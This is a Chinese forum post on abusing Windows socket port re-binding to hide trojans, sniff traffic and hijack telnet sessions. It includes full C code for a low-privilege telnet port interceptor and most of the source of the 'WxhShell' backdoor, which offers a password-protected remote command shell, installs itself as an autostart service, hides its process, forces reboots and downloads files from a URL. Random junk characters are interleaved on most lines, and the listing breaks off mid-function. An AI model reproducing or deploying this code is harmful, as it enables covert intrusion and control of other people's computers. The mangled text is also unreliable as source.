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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $6UU58>n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d*Mqs}8  
Co(N8>1  
  saddr.sin_family = AF_INET; Wm-$l  
%D#&RS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <v -YMk@  
y(g]:#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M.y!J  
%"(HjanH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l+2NA4s  
Z|*#)<| ~  
  这意味着什么?意味着可以进行如下的攻击: l9|K,YVW  
zT)cg$8%fY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .>TG{>sH  
Ua|iAD 1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :X}SuM ?c  
S{l)hwlE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q.Nw#r+m  
:atd_6   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Iv 3O8 GU  
QpQ2hNf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~xY"P)(x;  
zOSUYn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1QA/ !2E  
7)<Ib j<M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *j&\5|^V  
EmO[-W|2  
  #include Xux[  
  #include 0|-}>>qb\  
  #include qgl-,3GY%N  
  #include    !4+Die X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {G vGV  
  int main() lq53 xT  
  { ^GM3nx$  
  WORD wVersionRequested; 3,v/zcV  
  DWORD ret; m4OnRZYlw  
  WSADATA wsaData; -E6av|c,F  
  BOOL val; )!rD&l$tE  
  SOCKADDR_IN saddr; ?/MkH0[G=  
  SOCKADDR_IN scaddr; LvS5N)[  
  int err; Ws3z-U>j  
  SOCKET s; Wf "$  
  SOCKET sc; S)zw[m  
  int caddsize; 9*FA=E  
  HANDLE mt; (@*|[wN  
  DWORD tid;   p<dw  C"z  
  wVersionRequested = MAKEWORD( 2, 2 ); 4$vUD1('  
  err = WSAStartup( wVersionRequested, &wsaData ); 4.,|vtp  
  if ( err != 0 ) { ^kcuRJ0*$  
  printf("error!WSAStartup failed!\n"); 8i;drvf  
  return -1; {ST8'hY  
  } ZMMx)}hS  
  saddr.sin_family = AF_INET; ec#`9w$  
    gh[q*%#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3O*iv{-&  
*>qc6d@'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z ;~%!  
  saddr.sin_port = htons(23); viU}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B=>Xr!pM!  
  { lt4IoE`tk?  
  printf("error!socket failed!\n"); _z%\53h  
  return -1; Y9f7~w^s  
  } `UzH *w@e  
  val = TRUE; C[znUI>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q7aqbkwz}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "Y^Fn,c  
  { <75x@!  
  printf("error!setsockopt failed!\n"); u y"i3xD6-  
  return -1; 9:RV5Dt  
  } -tWxB GSa@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :I";&7C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mp sX4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2l V`UIa  
,V]FAIJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r*mYtS  
  { 2Q(ZW@0  
  ret=GetLastError(); :n~Mg{j3  
  printf("error!bind failed!\n"); vxPr)"Vvz  
  return -1; tq}sedYhee  
  } X(d:!-_m *  
  listen(s,2); /o$6"~t  
  while(1) xG edY*[`  
  { GBg  
  caddsize = sizeof(scaddr); Tg@G-6u0c  
  //接受连接请求 34)l3UI~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); })@xWU6!  
  if(sc!=INVALID_SOCKET) x%$6l  
  { ^|h_[>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h){#dU+&  
  if(mt==NULL) ZI$P Qz2i  
  { B(71I;  
  printf("Thread Creat Failed!\n"); }3Ke  
  break; 8TH;6-RT  
  } JM0+-,dl[  
  } ~a7@O^q 4  
  CloseHandle(mt); #]i^L;u1A  
  } OBlQ   
  closesocket(s); SI6?b1;-:F  
  WSACleanup(); 23=wz%tF  
  return 0; Tp~Qg{%Og  
  }   K-*ZS8  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1GR|$E  
  { 1 5|gG<-  
  SOCKET ss = (SOCKET)lpParam; ${ .:(z  
  SOCKET sc; *hFJI9G  
  unsigned char buf[4096]; UDk H'x$=  
  SOCKADDR_IN saddr; +('xzW  
  long num; Xsb.xxK.  
  DWORD val;  56C'<#  
  DWORD ret; K43`$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |,.1=|&u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~|{e"!(}  
  saddr.sin_family = AF_INET; 6eB~S)Ko  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kJ .7C  
  saddr.sin_port = htons(23); HCktgL:E=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c0jTQMe4yl  
  { J~ @W":v  
  printf("error!socket failed!\n"); ;6]ag< Q  
  return -1; bS|h~B]rd  
  } S[8n GH#m  
  val = 100; Q}lY1LT`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4|j Pr J  
  { 4rCw#mVtB  
  ret = GetLastError(); |l|$ Q;  
  return -1; ow,! 7|m  
  } NQ '|M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }DvT6  
  { :W-xsw  
  ret = GetLastError(); $RRh}w\0^  
  return -1; vls+E o]  
  } (S=CxK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ffOV7Dxy  
  { 'UCClj;?K  
  printf("error!socket connect failed!\n"); j6*e^ B  
  closesocket(sc); Xe ^NVF  
  closesocket(ss); h^H)p`[Gme  
  return -1; A}uWy^w  
  } SrMfd7H8f  
  while(1) X*)DpbWd  
  { =ZV+*cCC=q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +WxD=|p;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7/=r-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L[+4/a!HQ  
  num = recv(ss,buf,4096,0); (G>g0(;D-  
  if(num>0) j->5%y  
  send(sc,buf,num,0); 2R3)/bz-SV  
  else if(num==0) ncR]@8  
  break; Q`=d5Uvw  
  num = recv(sc,buf,4096,0); ?|hYtV  
  if(num>0) [].euDrX  
  send(ss,buf,num,0); K9RRY,JB  
  else if(num==0) )DQcf]I  
  break; (f"LD8MJ/  
  } L1SZutWD?  
  closesocket(ss); )5diX + k  
  closesocket(sc); IS{>(XT{  
  return 0 ; *MCkezW7{  
  } tg2+Z\0)4g  
`Z@qWB<  
\gir  
========================================================== Jjx1`S*i  
>ISBK[=H  
下边附上一个代码,,WXhSHELL l n09_Lr  
UQT=URS  
========================================================== Og2w] B[  
B1U7z1<  
#include "stdafx.h" .T~Oc'wGo  
$C{-gx+:  
#include <stdio.h> ]PH'G>x  
#include <string.h> 9$R}GK  
#include <windows.h> )*BG-nM u  
#include <winsock2.h> Uo:=-NNI  
#include <winsvc.h> EBUCG"e  
#include <urlmon.h> FbD9G6h5  
lxLEYDGFS  
#pragma comment (lib, "Ws2_32.lib") }SW>ysw'm  
#pragma comment (lib, "urlmon.lib") FCt %of#  
thh0~g0/  
#define MAX_USER   100 // 最大客户端连接数 AHP;N6Y6  
#define BUF_SOCK   200 // sock buffer [@$t35t~  
#define KEY_BUFF   255 // 输入 buffer 7t% |s!~  
U ,\t2z  
#define REBOOT     0   // 重启 |198A,^  
#define SHUTDOWN   1   // 关机 ZlL]AD@  
F^wm&:%{`  
#define DEF_PORT   5000 // 监听端口 D'_ w *  
eC$ Jdf  
#define REG_LEN     16   // 注册表键长度 ? C6t Yd  
#define SVC_LEN     80   // NT服务名长度 f5t/=/6>F  
F*,RDM'M  
// 从dll定义API @_"Z]Y ,D0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ",45p@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ShU1RQk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vq5o?$:-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OGnuBK  
YGCBDH%6  
// wxhshell配置信息 Cfst)[j  
struct WSCFG { K!|J/W  
  int ws_port;         // 监听端口 g0:{{w  
  char ws_passstr[REG_LEN]; // 口令 D7v_ <  
  int ws_autoins;       // 安装标记, 1=yes 0=no }sW%i#CV  
  char ws_regname[REG_LEN]; // 注册表键名 ibh,d.*~g  
  char ws_svcname[REG_LEN]; // 服务名 ]Yk)A.y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jAy 0k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X v$"B-j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cng166}1A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EfGy^`,'G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \U.js-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M&` b\la  
A/88WC$v  
}; #X qnH  
N%!{n7`N:  
// default Wxhshell configuration w L4P-4'  
struct WSCFG wscfg={DEF_PORT, q0VR&b`?>D  
    "xuhuanlingzhe", QfRo`l/V9  
    1, 63Z^ k(  
    "Wxhshell", u Fn?U)  
    "Wxhshell", #N;McF;W  
            "WxhShell Service", R0YWe  
    "Wrsky Windows CmdShell Service", K#xL-   
    "Please Input Your Password: ", 2$FH+wuW  
  1, t"jiLOQ[6  
  "http://www.wrsky.com/wxhshell.exe", D4$2'h  
  "Wxhshell.exe" /o9 0O&  
    }; l;}3J3/qq]  
puox^  
// 消息定义模块 j?1wP6/NP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q2<v: *L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2 :wgt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4OFv#$[  
char *msg_ws_ext="\n\rExit."; 1h?QEZ,6a  
char *msg_ws_end="\n\rQuit."; }Dx.;0*:  
char *msg_ws_boot="\n\rReboot..."; ]Wtg.y6;  
char *msg_ws_poff="\n\rShutdown..."; I %|;M%B  
char *msg_ws_down="\n\rSave to "; in`|.#  
bL/DjsZ@  
char *msg_ws_err="\n\rErr!"; 8yk4#CZ  
char *msg_ws_ok="\n\rOK!"; L5r02VzbD  
>35W{ d  
char ExeFile[MAX_PATH]; H`1q8}m  
int nUser = 0; =:'\wx X  
HANDLE handles[MAX_USER]; k{D0&  
int OsIsNt; st)qw]Dn;Y  
i@mS8%|l  
SERVICE_STATUS       serviceStatus; i(> WeC+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3!vnSX(iv  
*auT_*  
// 函数声明 ; *\xdg{d  
int Install(void); y% O^Zm1  
int Uninstall(void); ;.=]Ar}  
int DownloadFile(char *sURL, SOCKET wsh); n 0g8B  
int Boot(int flag); 7M Qh,J!"  
void HideProc(void); &z@}9U*6b  
int GetOsVer(void); iw%" "q(`  
int Wxhshell(SOCKET wsl); 3:T~$M`]  
void TalkWithClient(void *cs); 934@Z(aUH  
int CmdShell(SOCKET sock); Hb0_QT~  
int StartFromService(void); aNP\Q23D  
int StartWxhshell(LPSTR lpCmdLine); d|>/eb.R  
2}15FXgN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '3?-o|v@D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nf1O8FwRb  
wV-9T*QrM  
// 数据结构和表定义 <!F".9c@A  
SERVICE_TABLE_ENTRY DispatchTable[] = 8*Ty`G&v  
{ bjAI7B8As  
{wscfg.ws_svcname, NTServiceMain}, AG><5 }  
{NULL, NULL} 2D /bMq  
}; Xyjd7 "  
-kHJH><j  
// 自我安装 _=}.Sg5Q  
int Install(void) Z<,Hz+  
{ RAWzQE }  
  char svExeFile[MAX_PATH]; FmSE ]et  
  HKEY key; _qk yU)z  
  strcpy(svExeFile,ExeFile); ld3H"p rR  
*7b?.{  
// 如果是win9x系统,修改注册表设为自启动 nw(R=C  
if(!OsIsNt) { vo(:g6$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QseV\;z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZG-#YF.1  
  RegCloseKey(key); GL~ Wnt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '2 Y8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Swh\^/B8  
  RegCloseKey(key); TbLU[(m-n  
  return 0; ~'F.tB  
    } H3 -?cy  
  } e=3C*+lq\  
} 9WI5\`*"  
else { X ]W)D S  
hV:++g  
// 如果是NT以上系统,安装为系统服务 "!CVm{7[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K+"3He  
if (schSCManager!=0) ;A4j_ 8\[  
{ :zY;eJKm  
  SC_HANDLE schService = CreateService gu:vf/  
  ( F{^\vFp  
  schSCManager, Y`d@4*FN$  
  wscfg.ws_svcname, '#SZ|Rr6tX  
  wscfg.ws_svcdisp, JI  cm$  
  SERVICE_ALL_ACCESS, Jg)( F|>o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rT\~VJ>+i  
  SERVICE_AUTO_START, %!eRR  
  SERVICE_ERROR_NORMAL, yEk|(6+^  
  svExeFile, }ice*3'3  
  NULL, vKWi?}1  
  NULL, o")"^@Zh i  
  NULL, h?v8b+:0  
  NULL, :aBm,q9i:}  
  NULL g9CedD%40  
  ); C#e :_e]  
  if (schService!=0) QUaV;6 4  
  { +~ Hb}0ry  
  CloseServiceHandle(schService); V^4v`}Wgx  
  CloseServiceHandle(schSCManager);  ;u [:J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #!E`%' s]  
  strcat(svExeFile,wscfg.ws_svcname); nCQ".G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `\|tXl.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [oXSjLQm[  
  RegCloseKey(key); 'IFA>}e7W  
  return 0; K\xnQeS<W  
    } #d*0 )w  
  } RyU8{-q  
  CloseServiceHandle(schSCManager); 5*+DN U@  
} 'J3yJ{  
} !Z |_3  
4_ypFuS^  
return 1; [V qiF~o,  
} Wp+lI1t  
I?E+  
// 自我卸载 8)> T>-os  
int Uninstall(void) EZ:? (|h  
{ x2a ?ugQ  
  HKEY key; S=lCzL;j"  
wVFa51a)yy  
if(!OsIsNt) { ZZZ`@pXm;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pksr9"Ah  
  RegDeleteValue(key,wscfg.ws_regname); !L|l(<C  
  RegCloseKey(key); e$_gOwB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S>r}3,]S  
  RegDeleteValue(key,wscfg.ws_regname); Lq ;~6  
  RegCloseKey(key); jSM`bE+"  
  return 0; UJQTArf  
  } F_g(}wE# q  
} Pz[UAJ  
} ~k-'  
else { a'/C)fplL  
#pgD-0_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lR7;{zlSf'  
if (schSCManager!=0) }No#_{  
{ {5D%<Te  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YpXd5;'  
  if (schService!=0) `GBJa k  
  { AzF*4x  
  if(DeleteService(schService)!=0) { 74:( -vS  
  CloseServiceHandle(schService); !vRN'/(Vyu  
  CloseServiceHandle(schSCManager); |f$ws R`&  
  return 0; f*rub. y  
  } DJ7ak>"R  
  CloseServiceHandle(schService); jtpHDS  
  } 1%vE7a>{  
  CloseServiceHandle(schSCManager); )m3emMO2  
} Q:7P /  
} <*z'sUh+}  
A^6z.MdYZ  
return 1; ~Q Q1ZP3  
} 88 X]Uw(+  
=WI3#<vDG  
// 从指定url下载文件 X_nbNql  
int DownloadFile(char *sURL, SOCKET wsh) Oi& 9FS  
{ Sin)]zG~0  
  HRESULT hr; UMBeY[ ?  
char seps[]= "/"; 3BGcDyYE  
char *token; dc4XX5Z  
char *file; aM1WC 'c&)  
char myURL[MAX_PATH]; Qj1%'wWG  
char myFILE[MAX_PATH]; Lg,ObVt!  
0PFC %x  
strcpy(myURL,sURL); f. >[ J  
  token=strtok(myURL,seps); T"3LO[j+  
  while(token!=NULL) bv(+$YR  
  {  0%,W5w  
    file=token; YfZ5Q}*1O+  
  token=strtok(NULL,seps); A{B$$7%  
  } W ^Fkjqpv  
fV7 k{dR  
GetCurrentDirectory(MAX_PATH,myFILE); 2?Ryk`2i)  
strcat(myFILE, "\\"); ZVJ6 {DS/  
strcat(myFILE, file); "QS(4yw?jg  
  send(wsh,myFILE,strlen(myFILE),0); g8&& W_BI  
send(wsh,"...",3,0); \24'iYtqW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }id)~h_@  
  if(hr==S_OK) I]5){Q" S  
return 0; h(}#s1Fzq  
else > 2/j  
return 1; H(- -hG5}  
u81F^72U  
} {yT<22Fl  
8KigGhY'ms  
// 系统电源模块 +/%4E %  
int Boot(int flag) )v+&l9D  
{ -{JReplc  
  HANDLE hToken; --TH6j"  
  TOKEN_PRIVILEGES tkp; n%;tVa  
h82y9($cZ  
  if(OsIsNt) { &WAU[{4W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +/n]9l]#h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $^ir3f+  
    tkp.PrivilegeCount = 1; KYKF$@ <G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A>F&b1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X"g,QqDD  
if(flag==REBOOT) { cdH`#X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -gC%*S5&  
  return 0; ho~WD'i  
} 9"1=um=  
else { #z.\pd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #=Xa(<t  
  return 0; ujX\^c  
} 2++$ Ql/  
  } j+/EG^*/  
  else { %Gu=Dkz  
if(flag==REBOOT) { v [x 5@$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #3?"#),q  
  return 0; Ue,eEer  
} _uJ6Vy  
else { R*LPwJuv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ebi~gGo  
  return 0; o!y<:CGL  
} #&S<{75A  
} B}p.fE  
"].TKF#yg  
return 1; j9RpYz  
} z=jzr=lP  
j `3IizN2  
// win9x进程隐藏模块 >B;S;_5=  
void HideProc(void) l{ fL~O  
{ AC fhy[,  
G~*R6x2g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T_)+l)  
  if ( hKernel != NULL ) ahM? ;p  
  { r[j@@[)"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ov!L8 9`[u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lu1T+@t  
    FreeLibrary(hKernel); ,(c'h:@M  
  } l~kxK.Ru  
^MT20pL  
return; Dn~t_n  
} /~<Przw  
MD>E0p)  
// 获取操作系统版本 waV4~BdL  
int GetOsVer(void) K~5(j{Kb8  
{ ,0>_(5  
  OSVERSIONINFO winfo; X)[QEq^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j=>WWlZ  
  GetVersionEx(&winfo); e<Oz%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V-i:t,*lk(  
  return 1; Hpp;dG  
  else 2PSv3?".  
  return 0; 'xM\txZ;  
} J/vcP  
EJaO"9 (  
// 客户端句柄模块 Gn10)Uf8X  
int Wxhshell(SOCKET wsl) A#79$[>w  
{ N *n?hN  
  SOCKET wsh; )[t3-'  
  struct sockaddr_in client; 1b!5h  
  DWORD myID; *;.:UR[i  
`5~<)  
  while(nUser<MAX_USER)  _8z  
{ ,(#n8|q4  
  int nSize=sizeof(client); )7rMevF(xJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N9f;X{  
  if(wsh==INVALID_SOCKET) return 1; Ahg6>7+R.  
kRzqgVr%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P'Jb')m  
if(handles[nUser]==0) G&0JK ,Y  
  closesocket(wsh); O}Do4>02  
else {+QQ<)l^tJ  
  nUser++; gD6BPW~0  
  } a4!6K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -32.g \]  
+G!;:o  
  return 0; N sSl|m  
} sWLH"'Z  
WOGMt T%  
// 关闭 socket g[xn0 rG  
void CloseIt(SOCKET wsh) y {Mh ?H  
{ $4TawFf"nc  
closesocket(wsh); 2 BwpxV8  
nUser--; v|>'m#Ln2  
ExitThread(0); jZ69sDhE  
} qjvIp-  
v#KE"m  
// 客户端请求句柄 K~z9b4a>  
void TalkWithClient(void *cs) ds QGj&  
{ X_I.f6v{  
g\,HiKBXd  
  SOCKET wsh=(SOCKET)cs; \3z^/F~  
  char pwd[SVC_LEN]; Hn(L0#Oqy  
  char cmd[KEY_BUFF]; &$NVEmW-J  
char chr[1]; AyZBH &}RZ  
int i,j; ~48mCD  
TqMy">>  
  while (nUser < MAX_USER) { ;,LlOR  
`\S~;O  
if(wscfg.ws_passstr) { uwb>q"M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?Wp{tB9N0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); noNL.%I  
  //ZeroMemory(pwd,KEY_BUFF); ~7=w,+  
      i=0; Wv)2dD2I  
  while(i<SVC_LEN) { We#O' m  
KY;E.D`  
  // 设置超时 W?auY_+P  
  fd_set FdRead; V0 OT_F  
  struct timeval TimeOut; $yg}HS7HC  
  FD_ZERO(&FdRead); !7[Rhk7bW  
  FD_SET(wsh,&FdRead); )c<5:c  
  TimeOut.tv_sec=8; Wj. _{  
  TimeOut.tv_usec=0; ~x}=lKN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [mk!] r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0IjQqI  
"Mmvf'N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $X;fz)u  
  pwd=chr[0]; X<"W@  
  if(chr[0]==0xd || chr[0]==0xa) { %7rWebd-  
  pwd=0; o%A@ OY  
  break; ;H8A"$%n~  
  } Ow]c,F}^  
  i++; hu qQ0  
    } L pdp'9>I  
Tp/+{|~  
  // 如果是非法用户,关闭 socket #r)c@?T@j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EGyQ hZ mO  
} # S4{,  
21U,!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7uRXu>h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a|@^ N  
. RNQlh3  
while(1) { SQbnn"  
yN~: 3  
  ZeroMemory(cmd,KEY_BUFF); Lw.N3!e[  
'4qi^$|\  
      // 自动支持客户端 telnet标准   m/0t; cx  
  j=0; `795 K8  
  while(j<KEY_BUFF) { Si]8*>}-B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); # 1,(I  
  cmd[j]=chr[0]; T=2 91)@  
  if(chr[0]==0xa || chr[0]==0xd) { iwfv t^  
  cmd[j]=0; b-+iL  
  break; rm4j8~Ef  
  } rT ~qoA\  
  j++; u]ZCYJ>  
    } @[S\ FjI  
c;bp[ Y3R  
  // 下载文件 dDy9yw%f?  
  if(strstr(cmd,"http://")) { _, ;c2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !W8'apG&[  
  if(DownloadFile(cmd,wsh)) rf8`|9h"7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @4b"0ne}h  
  else #s Ebu^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LE!3'^Zq  
  } E-i rB/0  
  else { I=pT fkTT  
fF8g3|p:  
    switch(cmd[0]) { z>hG'  
  ?ei7jM",  
  // 帮助 QSy=JC9  
  case '?': { @$;"nVZ4v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^r$P&}Z\b  
    break; mi3yiR  
  } ;^FV  
  // 安装 pUr.<yc&u  
  case 'i': { (a1s~  
    if(Install()) Z %MP:@z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y)!K@  
    else 810u +%fu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t1.5hsp  
    break; uV*&a~  
    } #2&_WM!   
  // 卸载 jQ_j#_Vle  
  case 'r': { dd>stp   
    if(Uninstall()) :\48=>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (3"V5r`*;  
    else Ut8yA"Y~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?E2/ CM  
    break; }dE0WJcO  
    } }} l04kN_  
  // 显示 wxhshell 所在路径 -pc*$oe  
  case 'p': { BxO8oKe  
    char svExeFile[MAX_PATH]; i%0Ml:Y  
    strcpy(svExeFile,"\n\r"); y#^d8 }+  
      strcat(svExeFile,ExeFile); rRL:]%POT  
        send(wsh,svExeFile,strlen(svExeFile),0); qI"@ PI!s  
    break; Jpws1~  
    } sL XQ)Ce  
  // 重启 4jj@"*^a  
  case 'b': { k| nv[xY0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pl V]hu27K  
    if(Boot(REBOOT)) +dk}$w[ g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QVI4<Rxg  
    else { $GYcZN&  
    closesocket(wsh); ep Eg 6   
    ExitThread(0); W)?B{\  
    } X) xQKkL0  
    break; +PY LKyS>  
    } &aaXw?/zr  
  // 关机 ](@Tbm8  
  case 'd': { S=ebht=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q3e %L  
    if(Boot(SHUTDOWN)) !,PG!Gnl  
